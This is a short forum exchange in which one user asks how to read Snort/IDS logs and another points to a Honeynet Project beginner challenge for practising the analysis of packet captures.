Alright. Let me ask some questions.

First, is that a snort log?

Second, when you are breaking down these logs, what do you look for?

I am very curious and want to learn how to break down IDS logs so I can see what is happening.

Anyone care to bring me up to speed? :)

Ok, sorry its taken me a couple days to post again.... was trying to find an easy sample to explain, but then decided to do something a little different ;)

http://project.honeynet.org/scans/scan23/

The honeynet project has challenges to decode captures and figure out what happened in the traces. This is the Beginners Challenge. You all should check it out and try to solve it before looking at the solutions posted :roll:
